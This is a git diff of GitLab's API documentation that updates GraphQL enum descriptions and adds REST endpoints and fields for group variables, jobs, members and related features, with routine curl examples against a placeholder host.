`created_asc` **{warning-solid}** | **Deprecated:** Use CREATED_ASC. Deprecated in 13.5. | -| `created_desc` **{warning-solid}** | **Deprecated:** Use CREATED_DESC. Deprecated in 13.5. | -| `updated_asc` **{warning-solid}** | **Deprecated:** Use UPDATED_ASC. Deprecated in 13.5. | -| `updated_desc` **{warning-solid}** | **Deprecated:** Use UPDATED_DESC. Deprecated in 13.5. | +| `created_asc` **{warning-solid}** | **Deprecated:** This was renamed. Please use `CREATED_ASC`. Deprecated in 13.5. | +| `created_desc` **{warning-solid}** | **Deprecated:** This was renamed. Please use `CREATED_DESC`. Deprecated in 13.5. | +| `updated_asc` **{warning-solid}** | **Deprecated:** This was renamed. Please use `UPDATED_ASC`. Deprecated in 13.5. | +| `updated_desc` **{warning-solid}** | **Deprecated:** This was renamed. Please use `UPDATED_DESC`. Deprecated in 13.5. | ### `MergeRequestState` @@ -7690,7 +8248,7 @@ State of a GitLab merge request. | `all` | All available. | | `closed` | In closed state. | | `locked` | Discussion has been locked. | -| `merged` | Merge Request has been merged. | +| `merged` | Merge request has been merged. | | `opened` | In open state. | ### `MergeStrategyEnum` @@ -7738,60 +8296,68 @@ Values for sorting projects. | `SIMILARITY` | Most similar to the search query. | | `STORAGE` | Sort by storage size. | +### `NegatedIterationWildcardId` + +Negated Iteration ID wildcard values. + +| Value | Description | +| ----- | ----------- | +| `CURRENT` | Current iteration. | + ### `OncallRotationUnitEnum` Rotation length unit of an on-call rotation. | Value | Description | | ----- | ----------- | -| `DAYS` | Days | -| `HOURS` | Hours | -| `WEEKS` | Weeks | +| `DAYS` | Days. | +| `HOURS` | Hours. | +| `WEEKS` | Weeks. | ### `PackageTypeEnum` | Value | Description | | ----- | ----------- | -| `COMPOSER` | Packages from the Composer package manager | -| `CONAN` | Packages from the Conan package manager | -| `DEBIAN` | Packages from the Debian package manager | -| `GENERIC` | Packages from the Generic package manager | -| `GOLANG` | Packages from the Golang package manager | -| `MAVEN` | Packages from the Maven package manager | -| `NPM` | Packages from the npm package manager | -| `NUGET` | Packages from the Nuget package manager | -| `PYPI` | Packages from the PyPI package manager | -| `RUBYGEMS` | Packages from the Rubygems package manager | +| `COMPOSER` | Packages from the Composer package manager. | +| `CONAN` | Packages from the Conan package manager. | +| `DEBIAN` | Packages from the Debian package manager. | +| `GENERIC` | Packages from the Generic package manager. | +| `GOLANG` | Packages from the Golang package manager. | +| `MAVEN` | Packages from the Maven package manager. | +| `NPM` | Packages from the npm package manager. | +| `NUGET` | Packages from the Nuget package manager. | +| `PYPI` | Packages from the PyPI package manager. | +| `RUBYGEMS` | Packages from the Rubygems package manager. | ### `PipelineConfigSourceEnum` | Value | Description | | ----- | ----------- | -| `AUTO_DEVOPS_SOURCE` | | -| `BRIDGE_SOURCE` | | -| `COMPLIANCE_SOURCE` | | -| `EXTERNAL_PROJECT_SOURCE` | | -| `PARAMETER_SOURCE` | | -| `REMOTE_SOURCE` | | -| `REPOSITORY_SOURCE` | | -| `UNKNOWN_SOURCE` | | -| `WEBIDE_SOURCE` | | +| `AUTO_DEVOPS_SOURCE` | Auto DevOps source. | +| `BRIDGE_SOURCE` | Bridge source. | +| `COMPLIANCE_SOURCE` | Compliance source. | +| `EXTERNAL_PROJECT_SOURCE` | External project source. | +| `PARAMETER_SOURCE` | Parameter source. | +| `REMOTE_SOURCE` | Remote source. | +| `REPOSITORY_SOURCE` | Repository source. | +| `UNKNOWN_SOURCE` | Unknown source. | +| `WEBIDE_SOURCE` | Webide source. | ### `PipelineStatusEnum` | Value | Description | | ----- | ----------- | -| `CANCELED` | | -| `CREATED` | | -| `FAILED` | | -| `MANUAL` | | -| `PENDING` | | -| `PREPARING` | | -| `RUNNING` | | -| `SCHEDULED` | | -| `SKIPPED` | | -| `SUCCESS` | | -| `WAITING_FOR_RESOURCE` | | +| `CANCELED` | Pipeline was canceled before completion. | +| `CREATED` | Pipeline has been created. | +| `FAILED` | At least one stage of the pipeline failed. | +| `MANUAL` | Pipeline needs to be manually started. | +| `PENDING` | Pipeline has not started running yet. | +| `PREPARING` | Pipeline is preparing to run. | +| `RUNNING` | Pipeline is running. | +| `SCHEDULED` | Pipeline is scheduled to run. | +| `SKIPPED` | Pipeline was skipped. | +| `SUCCESS` | Pipeline completed successfully. | +| `WAITING_FOR_RESOURCE` | A resource (for example, a runner) that the pipeline requires to run is unavailable. | ### `ProjectMemberRelation` @@ -7799,10 +8365,10 @@ Project member relation. | Value | Description | | ----- | ----------- | -| `DESCENDANTS` | Descendants members | -| `DIRECT` | Direct members | -| `INHERITED` | Inherited members | -| `INVITED_GROUPS` | Invited Groups members | +| `DESCENDANTS` | Descendants members. | +| `DIRECT` | Direct members. | +| `INHERITED` | Inherited members. | +| `INVITED_GROUPS` | Invited Groups members. | ### `RegistryState` @@ -7821,10 +8387,10 @@ Type of the link: `other`, `runbook`, `image`, `package`. | Value | Description | | ----- | ----------- | -| `IMAGE` | Image link type | -| `OTHER` | Other link type | -| `PACKAGE` | Package link type | -| `RUNBOOK` | Runbook link type | +| `IMAGE` | Image link type. | +| `OTHER` | Other link type. | +| `PACKAGE` | Package link type. | +| `RUNBOOK` | Runbook link type. | ### `ReleaseSort` @@ -7870,13 +8436,13 @@ Size of UI component in SAST configuration page. | Value | Description | | ----- | ----------- | -| `API_FUZZING` | API FUZZING scan report | -| `CONTAINER_SCANNING` | CONTAINER SCANNING scan report | -| `COVERAGE_FUZZING` | COVERAGE FUZZING scan report | -| `DAST` | DAST scan report | -| `DEPENDENCY_SCANNING` | DEPENDENCY SCANNING scan report | -| `SAST` | SAST scan report | -| `SECRET_DETECTION` | SECRET DETECTION scan report | +| `API_FUZZING` | API FUZZING scan report. | +| `CONTAINER_SCANNING` | CONTAINER SCANNING scan report. | +| `COVERAGE_FUZZING` | COVERAGE FUZZING scan report. | +| `DAST` | DAST scan report. | +| `DEPENDENCY_SCANNING` | DEPENDENCY SCANNING scan report. | +| `SAST` | SAST scan report. | +| `SECRET_DETECTION` | SECRET DETECTION scan report. | ### `SecurityScannerType` @@ -7907,42 +8473,41 @@ State of a Sentry error. | Value | Description | | ----- | ----------- | -| `ASANA_SERVICE` | AsanaService type | -| `ASSEMBLA_SERVICE` | AssemblaService type | -| `BAMBOO_SERVICE` | BambooService type | -| `BUGZILLA_SERVICE` | BugzillaService type | -| `BUILDKITE_SERVICE` | BuildkiteService type | -| `CAMPFIRE_SERVICE` | CampfireService type | -| `CONFLUENCE_SERVICE` | ConfluenceService type | -| `CUSTOM_ISSUE_TRACKER_SERVICE` | CustomIssueTrackerService type | -| `DATADOG_SERVICE` | DatadogService type | -| `DISCORD_SERVICE` | DiscordService type | -| `DRONE_CI_SERVICE` | DroneCiService type | -| `EMAILS_ON_PUSH_SERVICE` | EmailsOnPushService type | -| `EWM_SERVICE` | EwmService type | -| `EXTERNAL_WIKI_SERVICE` | ExternalWikiService type | -| `FLOWDOCK_SERVICE` | FlowdockService type | -| `GITHUB_SERVICE` | GithubService type | -| `HANGOUTS_CHAT_SERVICE` | HangoutsChatService type | -| `HIPCHAT_SERVICE` | HipchatService type | -| `IRKER_SERVICE` | IrkerService type | -| `JENKINS_SERVICE` | JenkinsService type | -| `JIRA_SERVICE` | JiraService type | -| `MATTERMOST_SERVICE` | MattermostService type | -| `MATTERMOST_SLASH_COMMANDS_SERVICE` | MattermostSlashCommandsService type | -| `MICROSOFT_TEAMS_SERVICE` | MicrosoftTeamsService type | -| `PACKAGIST_SERVICE` | PackagistService type | -| `PIPELINES_EMAIL_SERVICE` | PipelinesEmailService type | -| `PIVOTALTRACKER_SERVICE` | PivotaltrackerService type | -| `PROMETHEUS_SERVICE` | PrometheusService type | -| `PUSHOVER_SERVICE` | PushoverService type | -| `REDMINE_SERVICE` | RedmineService type | -| `SLACK_SERVICE` | SlackService type | -| `SLACK_SLASH_COMMANDS_SERVICE` | SlackSlashCommandsService type | -| `TEAMCITY_SERVICE` | TeamcityService type | -| `UNIFY_CIRCUIT_SERVICE` | UnifyCircuitService type | -| `WEBEX_TEAMS_SERVICE` | WebexTeamsService type | -| `YOUTRACK_SERVICE` | YoutrackService type | +| `ASANA_SERVICE` | AsanaService type. | +| `ASSEMBLA_SERVICE` | AssemblaService type. | +| `BAMBOO_SERVICE` | BambooService type. | +| `BUGZILLA_SERVICE` | BugzillaService type. | +| `BUILDKITE_SERVICE` | BuildkiteService type. | +| `CAMPFIRE_SERVICE` | CampfireService type. | +| `CONFLUENCE_SERVICE` | ConfluenceService type. | +| `CUSTOM_ISSUE_TRACKER_SERVICE` | CustomIssueTrackerService type. | +| `DATADOG_SERVICE` | DatadogService type. | +| `DISCORD_SERVICE` | DiscordService type. | +| `DRONE_CI_SERVICE` | DroneCiService type. | +| `EMAILS_ON_PUSH_SERVICE` | EmailsOnPushService type. | +| `EWM_SERVICE` | EwmService type. | +| `EXTERNAL_WIKI_SERVICE` | ExternalWikiService type. | +| `FLOWDOCK_SERVICE` | FlowdockService type. | +| `GITHUB_SERVICE` | GithubService type. | +| `HANGOUTS_CHAT_SERVICE` | HangoutsChatService type. | +| `IRKER_SERVICE` | IrkerService type. | +| `JENKINS_SERVICE` | JenkinsService type. | +| `JIRA_SERVICE` | JiraService type. | +| `MATTERMOST_SERVICE` | MattermostService type. | +| `MATTERMOST_SLASH_COMMANDS_SERVICE` | MattermostSlashCommandsService type. | +| `MICROSOFT_TEAMS_SERVICE` | MicrosoftTeamsService type. | +| `PACKAGIST_SERVICE` | PackagistService type. | +| `PIPELINES_EMAIL_SERVICE` | PipelinesEmailService type. | +| `PIVOTALTRACKER_SERVICE` | PivotaltrackerService type. | +| `PROMETHEUS_SERVICE` | PrometheusService type. | +| `PUSHOVER_SERVICE` | PushoverService type. | +| `REDMINE_SERVICE` | RedmineService type. | +| `SLACK_SERVICE` | SlackService type. | +| `SLACK_SLASH_COMMANDS_SERVICE` | SlackSlashCommandsService type. | +| `TEAMCITY_SERVICE` | TeamcityService type. | +| `UNIFY_CIRCUIT_SERVICE` | UnifyCircuitService type. | +| `WEBEX_TEAMS_SERVICE` | WebexTeamsService type. | +| `YOUTRACK_SERVICE` | YoutrackService type. | ### `SnippetBlobActionEnum` @@ -7965,10 +8530,19 @@ Common sort values. | `CREATED_DESC` | Created at descending order. | | `UPDATED_ASC` | Updated at ascending order. | | `UPDATED_DESC` | Updated at descending order. | -| `created_asc` **{warning-solid}** | **Deprecated:** Use CREATED_ASC. Deprecated in 13.5. | -| `created_desc` **{warning-solid}** | **Deprecated:** Use CREATED_DESC. Deprecated in 13.5. | -| `updated_asc` **{warning-solid}** | **Deprecated:** Use UPDATED_ASC. Deprecated in 13.5. | -| `updated_desc` **{warning-solid}** | **Deprecated:** Use UPDATED_DESC. Deprecated in 13.5. | +| `created_asc` **{warning-solid}** | **Deprecated:** This was renamed. Please use `CREATED_ASC`. Deprecated in 13.5. | +| `created_desc` **{warning-solid}** | **Deprecated:** This was renamed. Please use `CREATED_DESC`. Deprecated in 13.5. | +| `updated_asc` **{warning-solid}** | **Deprecated:** This was renamed. Please use `UPDATED_ASC`. Deprecated in 13.5. | +| `updated_desc` **{warning-solid}** | **Deprecated:** This was renamed. Please use `UPDATED_DESC`. Deprecated in 13.5. | + +### `TestCaseStatus` + +| Value | Description | +| ----- | ----------- | +| `error` | Test case that has a status of error. | +| `failed` | Test case that has a status of failed. | +| `skipped` | Test case that has a status of skipped. | +| `success` | Test case that has a status of success. | ### `TestReportState` @@ -8040,8 +8614,9 @@ Name of the feature that the callout is for. | `GOLD_TRIAL_BILLINGS` | Callout feature name for gold_trial_billings. | | `NEW_USER_SIGNUPS_CAP_REACHED` | Callout feature name for new_user_signups_cap_reached. | | `PERSONAL_ACCESS_TOKEN_EXPIRY` | Callout feature name for personal_access_token_expiry. | +| `PIPELINE_NEEDS_BANNER` | Callout feature name for pipeline_needs_banner. | | `REGISTRATION_ENABLED_CALLOUT` | Callout feature name for registration_enabled_callout. | -| `SERVICE_TEMPLATES_DEPRECATED` | Callout feature name for service_templates_deprecated. | +| `SERVICE_TEMPLATES_DEPRECATED_CALLOUT` | Callout feature name for service_templates_deprecated_callout. | | `SUGGEST_PIPELINE` | Callout feature name for suggest_pipeline. | | `SUGGEST_POPOVER_DISMISSED` | Callout feature name for suggest_popover_dismissed. | | `TABS_POSITION_HIGHLIGHT` | Callout feature name for tabs_position_highlight. | @@ -8083,11 +8658,11 @@ The dismissal reason of the Vulnerability. | Value | Description | | ----- | ----------- | -| `ACCEPTABLE_RISK` | The likelihood of the Vulnerability occurring and its impact are deemed acceptable | -| `FALSE_POSITIVE` | The Vulnerability was incorrectly identified as being present | -| `MITIGATING_CONTROL` | There is a mitigating control that eliminates the Vulnerability or makes its risk acceptable | -| `NOT_APPLICABLE` | Other reasons for dismissal | -| `USED_IN_TESTS` | The Vulnerability is used in tests and does not pose an actual risk | +| `ACCEPTABLE_RISK` | The vulnerability is known, and has not been remediated or mitigated, but is considered to be an acceptable business risk. | +| `FALSE_POSITIVE` | An error in reporting in which a test result incorrectly indicates the presence of a vulnerability in a system when the vulnerability is not present. | +| `MITIGATING_CONTROL` | A management, operational, or technical control (that is, safeguard or countermeasure) employed by an organization that provides equivalent or comparable protection for an information system. | +| `NOT_APPLICABLE` | The vulnerability is known, and has not been remediated or mitigated, but is considered to be in a part of the application that will not be updated. | +| `USED_IN_TESTS` | The finding is not a vulnerability because it is part of a test or is test data. | ### `VulnerabilityExternalIssueLinkExternalTracker` @@ -8095,7 +8670,7 @@ The external tracker of the external issue link related to a vulnerability. | Value | Description | | ----- | ----------- | -| `JIRA` | Jira external tracker | +| `JIRA` | Jira external tracker. | ### `VulnerabilityExternalIssueLinkType` @@ -8103,7 +8678,7 @@ The type of the external issue link related to a vulnerability. | Value | Description | | ----- | ----------- | -| `CREATED` | Created link type | +| `CREATED` | Created link type. | ### `VulnerabilityGrade` @@ -8370,6 +8945,15 @@ A `GitlabErrorTrackingDetailedErrorID` is a global ID. It is encoded as a string An example `GitlabErrorTrackingDetailedErrorID` is: `"gid://gitlab/Gitlab::ErrorTracking::DetailedError/1"`. +### `GlobalID` + +A global identifier. + +A global identifier represents an object uniquely across the application. +An example of such an identifier is `"gid://gitlab/User/1"`. + +Global identifiers are encoded as strings. + ### `GroupID` A `GroupID` is a global ID. It is encoded as a string. @@ -8422,6 +9006,12 @@ An example `IterationsCadenceID` is: `"gid://gitlab/Iterations::Cadence/1"`. Represents untyped JSON. +### `JobID` + +A `CommitStatusID` is a global ID. It is encoded as a string. + +An example `CommitStatusID` is: `"gid://gitlab/CommitStatus/1"`. + ### `JsonString` JSON object as raw string. @@ -8474,12 +9064,34 @@ A `NoteableID` is a global ID. It is encoded as a string. An example `NoteableID` is: `"gid://gitlab/Noteable/1"`. +### `PackagesConanFileMetadatumID` + +A `PackagesConanFileMetadatumID` is a global ID. It is encoded as a string. + +An example `PackagesConanFileMetadatumID` is: `"gid://gitlab/Packages::Conan::FileMetadatum/1"`. + +### `PackagesConanMetadatumID` + +A `PackagesConanMetadatumID` is a global ID. It is encoded as a string. + +An example `PackagesConanMetadatumID` is: `"gid://gitlab/Packages::Conan::Metadatum/1"`. + +### `PackagesPackageFileID` + +A `PackagesPackageFileID` is a global ID. It is encoded as a string. + +An example `PackagesPackageFileID` is: `"gid://gitlab/Packages::PackageFile/1"`. + ### `PackagesPackageID` A `PackagesPackageID` is a global ID. It is encoded as a string. An example `PackagesPackageID` is: `"gid://gitlab/Packages::Package/1"`. +### `PayloadAlertFieldPathSegment` + +String or integer. + ### `ProjectID` A `ProjectID` is a global ID. It is encoded as a string. @@ -8552,6 +9164,12 @@ A `VulnerabilitiesExternalIssueLinkID` is a global ID. It is encoded as a string An example `VulnerabilitiesExternalIssueLinkID` is: `"gid://gitlab/Vulnerabilities::ExternalIssueLink/1"`. +### `VulnerabilitiesScannerID` + +A `VulnerabilitiesScannerID` is a global ID. It is encoded as a string. + +An example `VulnerabilitiesScannerID` is: `"gid://gitlab/Vulnerabilities::Scanner/1"`. + ### `VulnerabilityID` A `VulnerabilityID` is a global ID. It is encoded as a string. @@ -8582,6 +9200,7 @@ Represents metadata associated with a Package. One of: - [`ComposerMetadata`](#composermetadata) +- [`ConanMetadata`](#conanmetadata) #### `VulnerabilityDetail` @@ -8665,7 +9284,7 @@ Implementations: | `fullPath` | [`String!`](#string) | The full path to the design file. | | `id` | [`ID!`](#id) | The ID of this design. | | `image` | [`String!`](#string) | The URL of the full-sized image. | -| `imageV432x230` | [`String`](#string) | The URL of the design resized to fit within the bounds of 432x230. This will be `null` if the image has not been generated | +| `imageV432x230` | [`String`](#string) | The URL of the design resized to fit within the bounds of 432x230. This will be `null` if the image has not been generated. | | `issue` | [`Issue!`](#issue) | The issue the design belongs to. | | `notesCount` | [`Int!`](#int) | The total count of user-created notes for this design. | | `project` | [`Project!`](#project) | The project the design belongs to. | @@ -8734,6 +9353,19 @@ Implementations: | `discussions` | [`DiscussionConnection!`](#discussionconnection) | All discussions on this noteable. | | `notes` | [`NoteConnection!`](#noteconnection) | All notes on this noteable. | +#### `PackageFileMetadata` + +Represents metadata associated with a Package file. + +Implementations: + +- [`ConanFileMetadata`](#conanfilemetadata) + +| Field | Type | Description | +| ----- | ---- | ----------- | +| `createdAt` | [`Time!`](#time) | Date of creation. | +| `updatedAt` | [`Time!`](#time) | Date of most recent update. | + #### `ResolvableInterface` Implementations: diff --git a/doc/api/group_level_variables.md b/doc/api/group_level_variables.md index 551bd473970..500d5a60c9c 100644 --- a/doc/api/group_level_variables.md +++ b/doc/api/group_level_variables.md @@ -31,14 +31,16 @@ curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/a "variable_type": "env_var", "value": "TEST_1", "protected": false, - "masked": false + "masked": false, + "environment_scope": "*" }, { "key": "TEST_VARIABLE_2", "variable_type": "env_var", "value": "TEST_2", "protected": false, - "masked": false + "masked": false, + "environment_scope": "*" } ] ``` @@ -66,7 +68,8 @@ curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/a "variable_type": "env_var", "value": "TEST_1", "protected": false, - "masked": false + "masked": false, + "environment_scope": "*" } ``` @@ -86,6 +89,7 @@ POST /groups/:id/variables | `variable_type` | string | no | The type of a variable. Available types are: `env_var` (default) and `file` | | `protected` | boolean | no | Whether the variable is protected | | `masked` | boolean | no | Whether the variable is masked | +| `environment_scope` **(PREMIUM)** | string | no | The [environment scope](../ci/variables/README.md#limit-the-environment-scope-of-a-cicd-variable) of a variable | ```shell curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/groups/1/variables" --form "key=NEW_VARIABLE" --form "value=new value" @@ -97,7 +101,8 @@ curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" "https://gitla "value": "new value", "variable_type": "env_var", "protected": false, - "masked": false + "masked": false, + "environment_scope": "*" } ``` @@ -117,6 +122,7 @@ PUT /groups/:id/variables/:key | `variable_type` | string | no | The type of a variable. Available types are: `env_var` (default) and `file` | | `protected` | boolean | no | Whether the variable is protected | | `masked` | boolean | no | Whether the variable is masked | +| `environment_scope` **(PREMIUM)** | string | no | The [environment scope](../ci/variables/README.md#limit-the-environment-scope-of-a-cicd-variable) of a variable | ```shell curl --request PUT --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/groups/1/variables/NEW_VARIABLE" --form "value=updated value" @@ -128,7 +134,8 @@ curl --request PUT --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab "value": "updated value", "variable_type": "env_var", "protected": true, - "masked": true + "masked": true, + "environment_scope": "*" } ``` diff --git a/doc/api/group_repository_storage_moves.md b/doc/api/group_repository_storage_moves.md index f4d89c34f38..0388bf46a1b 100644 --- a/doc/api/group_repository_storage_moves.md +++ b/doc/api/group_repository_storage_moves.md @@ -10,8 +10,8 @@ type: reference > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/53016) in GitLab 13.9. Group repositories can be moved between storages. This can be useful when -[migrating to Gitaly Cluster](../administration/gitaly/praefect.md#migrate-existing-repositories-to-gitaly-cluster), -for example, or to migrate a Group Wiki. +[migrating to Gitaly Cluster](../administration/gitaly/praefect.md#migrate-to-gitaly-cluster), for +example, or to migrate a Group Wiki. As group repository storage moves are processed, they transition through different states. Values of `state` are: diff --git a/doc/api/group_wikis.md b/doc/api/group_wikis.md index 6c5e2b77f93..f0c38d4d4b9 100644 --- a/doc/api/group_wikis.md +++ b/doc/api/group_wikis.md @@ -9,7 +9,8 @@ type: reference, api > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/212199) in [GitLab Premium](https://about.gitlab.com/pricing/) 13.5. -Available only in APIv4. +The [group wikis](../user/project/wiki/index.md#group-wikis) API is available only in APIv4. +An API for [project wikis](wikis.md) is also available. ## List wiki pages diff --git a/doc/api/groups.md b/doc/api/groups.md index b3ab00b362e..6c01b2cf2a6 100644 --- a/doc/api/groups.md +++ b/doc/api/groups.md @@ -769,7 +769,7 @@ Parameters: ### Options for `default_branch_protection` -The `default_branch_protection` attribute determines whether developers and maintainers can push to the applicable master branch, as described in the following table: +The `default_branch_protection` attribute determines whether developers and maintainers can push to the applicable [default branch](../user/project/repository/branches/default.md), as described in the following table: | Value | Description | |-------|-------------------------------------------------------------------------------------------------------------| @@ -975,6 +975,9 @@ Parameters: The response is `202 Accepted` if the user has authorization. +NOTE: +A GitLab.com group can't be removed if it is linked to a subscription. To remove such a group, first [link the subscription](../subscriptions/index.md#change-the-linked-namespace) with a different group. + ## Restore group marked for deletion **(PREMIUM)** > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/33257) in GitLab 12.8. diff --git a/doc/api/invitations.md b/doc/api/invitations.md index 905e4c2e288..fbdecd0e3fa 100644 --- a/doc/api/invitations.md +++ b/doc/api/invitations.md @@ -61,8 +61,8 @@ When there was any error sending the email: { "status": "error", "message": { - "test@example.com": "Already invited", - "test2@example.com": "Member already exsists" + "test@example.com": "Invite email has already been taken", + "test2@example.com": "User already exists in source" } } ``` diff --git a/doc/api/issue_links.md b/doc/api/issue_links.md index 40f536c86ba..db65662c9cf 100644 --- a/doc/api/issue_links.md +++ b/doc/api/issue_links.md @@ -10,7 +10,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w ## List issue relations -Get a list of a given issue's [related issues](../user/project/issues/related_issues.md), +Get a list of a given issue's [linked issues](../user/project/issues/related_issues.md), sorted by the relationship creation datetime (ascending). Issues are filtered according to the user authorizations. diff --git a/doc/api/jobs.md b/doc/api/jobs.md index 981aec07bdb..78af6b881aa 100644 --- a/doc/api/jobs.md +++ b/doc/api/jobs.md @@ -295,7 +295,8 @@ In GitLab 13.3 and later, this endpoint [returns data for any pipeline](pipeline including [child pipelines](../ci/parent_child_pipelines.md). In GitLab 13.5 and later, this endpoint does not return retried jobs in the response -by default. +by default. Additionally, jobs are sorted by ID in descending order (newest first). +In earlier GitLab versions, jobs are sorted by ID in ascending order (oldest first). In GitLab 13.9 and later, this endpoint can include retried jobs in the response with `include_retried` set to `true`. @@ -387,6 +388,8 @@ Example of response ## Get job token's job +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/51727) in GitLab 13.10. + Retrieve the job that generated a job token. ```plaintext @@ -456,6 +459,86 @@ Example of response } ``` +## Get Kubernetes Agents by `CI_JOB_TOKEN` **(PREMIUM)** + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/324269) in [GitLab Premium](https://about.gitlab.com/pricing/) 13.11. + +Retrieve the job that generated the `CI_JOB_TOKEN`, along with a list of allowed GitLab +Kubernetes Agents. + +```plaintext +GET /job/allowed_agents +``` + +Supported attributes: + +| Attribute | Type | Required | Description | +|:------------ |:---------|:---------|:----------------------| +| `CI_JOB_TOKEN` | string | yes | Token value associated with the GitLab-provided `CI_JOB_TOKEN` variable. | + +Example request: + +```shell +curl --header "JOB-TOKEN: <CI_JOB_TOKEN>" "https://gitlab.example.com/api/v4/job/allowed_agents" +curl "https://gitlab.example.com/api/v4/job/allowed_agents?job_token=<CI_JOB_TOKEN>" +``` + +Example response: + +```json +{ + "allowed_agents": + [ + { + "id": 1, + "config_project": { + "id": 1, + "description": null, + "name": "project1", + "name_with_namespace": "John Doe2 / project1", + "path": "project1", + "path_with_namespace": "namespace1/project1", + "created_at": "2021-03-26T14:51:50.579Z" + } + } + ], + "job": { + "id": 1, + "name": "test", + "stage": "test", + "project_id": 1, + "project_name": "project1" + }, + "pipeline": { + "id": 1, + "project_id": 1, + "sha": "b83d6e391c22777fca1ed3012fce84f633d7fed0", + "ref": "master", + "status": "pending", + "created_at": "2021-03-26T14:51:51.107Z", + "updated_at": "2021-03-26T14:51:51.107Z", + "web_url": "http://localhost/namespace1/project1/-/pipelines/1" + }, + "project": { + "id": 1, + "description": null, + "name": "project1", + "name_with_namespace": "John Doe2 / project1", + "path": "project1", + "path_with_namespace": "namespace1/project1", + "created_at": "2021-03-26T14:51:50.579Z" + }, + "user": { + "id": 2, + "name": "John Doe3", + "username": "user2", + "state": "active", + "avatar_url": "https://www.gravatar.com/avatar/10fc7f102b", + "web_url": "http://localhost/user2" + } +} +``` + ## Get a single job Get a single job of a project diff --git a/doc/api/members.md b/doc/api/members.md index 286be10dd6e..adfe2df8f30 100644 --- a/doc/api/members.md +++ b/doc/api/members.md @@ -90,8 +90,10 @@ Example response: Gets a list of group or project members viewable by the authenticated user, including inherited members and permissions through ancestor groups. -WARNING: -Due to [an issue](https://gitlab.com/gitlab-org/gitlab/-/issues/249523), the users effective `access_level` may actually be higher than returned value when listing group members. +If a user is a member of this group or project and also of one or more ancestor groups, +only its membership with the highest `access_level` is returned. +([Improved](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/56677)] in GitLab 13.11.) +This represents the effective permission of the user. This function takes pagination parameters `page` and `per_page` to restrict the list of users. @@ -310,6 +312,67 @@ Example response: ] ``` +## List memberships for a billable member of a group + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/321560) in GitLab 13.11. + +Gets a list of memberships for a billable member of a group. + +Lists all projects and groups a user is a member of. Only projects and groups within the group hierarchy are included. +For instance, if the requested group is `Root Group`, and the requested user is a direct member of both `Root Group / Sub Group One` and `Other Group / Sub Group Two`, then only `Root Group / Sub Group One` will be returned, because `Other Group / Sub Group Two` is not within the `Root Group` hierarchy. + +The response represents only direct memberships. Inherited memberships are not included. + +This API endpoint works on top-level groups only. It does not work on subgroups. + +This API endpoint requires permission to admin memberships for the group. + +This API endpoint takes [pagination](README.md#pagination) parameters `page` and `per_page` to restrict the list of memberships. + +```plaintext +GET /groups/:id/billable_members/:user_id/memberships +``` + +| Attribute | Type | Required | Description | +| --------- | ---- | -------- | ----------- | +| `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) owned by the authenticated user | +| `user_id` | integer | yes | The user ID of the billable member | + +```shell +curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/groups/:id/billable_members/:user_id/memberships" +``` + +Example response: + +```json +[ + { + "id": 168, + "source_id": 131, + "source_full_name": "Root Group / Sub Group One", + "source_members_url": "https://gitlab.example.com/groups/root-group/sub-group-one/-/group_members", + "created_at": "2021-03-31T17:28:44.812Z", + "expires_at": "2022-03-21", + "access_level": { + "string_value": "Developer", + "integer_value": 30 + } + }, + { + "id": 169, + "source_id": 63, + "source_full_name": "Root Group / Sub Group One / My Project", + "source_members_url": "https://gitlab.example.com/root-group/sub-group-one/my-project/-/project_members", + "created_at": "2021-03-31T17:29:14.934Z", + "expires_at": null, + "access_level": { + "string_value": "Maintainer", + "integer_value": 40 + } + } +] +``` + ## Remove a billable member from a group Removes a billable member from a group and its subgroups and projects. @@ -494,7 +557,10 @@ DELETE /projects/:id/members/:user_id | --------- | ---- | -------- | ----------- | | `id` | integer/string | yes | The ID or [URL-encoded path of the project or group](README.md#namespaced-path-encoding) owned by the authenticated user | | `user_id` | integer | yes | The user ID of the member | -| `unassign_issuables` | boolean | false | Flag indicating if the removed member should be unassigned from any issues or merge requests inside a given group or project | +| `skip_subresources` | boolean | false | Whether the deletion of direct memberships of the removed member in subgroups and projects should be skipped. Default is `false`. | +| `unassign_issuables` | boolean | false | Whether the removed member should be unassigned from any issues or merge requests inside a given group or project. Default is `false`. | + +Example request: ```shell curl --request DELETE --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/groups/:id/members/:user_id" diff --git a/doc/api/merge_request_approvals.md b/doc/api/merge_request_approvals.md index ea049c46e73..be973518d89 100644 --- a/doc/api/merge_request_approvals.md +++ b/doc/api/merge_request_approvals.md @@ -7,7 +7,9 @@ type: reference, api # Merge request approvals API **(PREMIUM)** -Configuration for approvals on all Merge Requests (MR) in the project. Must be authenticated for all endpoints. +Configuration for +[approvals on all merge requests](../user/project/merge_requests/merge_request_approvals.md) +in the project. Must be authenticated for all endpoints. ## Project-level MR approvals @@ -501,72 +503,6 @@ DELETE /projects/:id/approval_rules/:approval_rule_id | `id` | integer | yes | The ID of a project | | `approval_rule_id` | integer | yes | The ID of a approval rule -### Change allowed approvers - -> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/183) in GitLab 10.6. -> - Moved to GitLab Premium in 13.9. - -NOTE: -This API endpoint has been deprecated. Please use Approval Rule API instead. - -If you are allowed to, you can change approvers and approver groups using -the following endpoint: - -```plaintext -PUT /projects/:id/approvers -``` - -**Important:** Approvers and groups not in the request are **removed** - -**Parameters:** - -| Attribute | Type | Required | Description | -| -------------------- | ------- | -------- | --------------------------------------------------- | -| `id` | integer | yes | The ID of a project | -| `approver_ids` | Array | yes | An array of User IDs that can approve MRs | -| `approver_group_ids` | Array | yes | An array of Group IDs whose members can approve 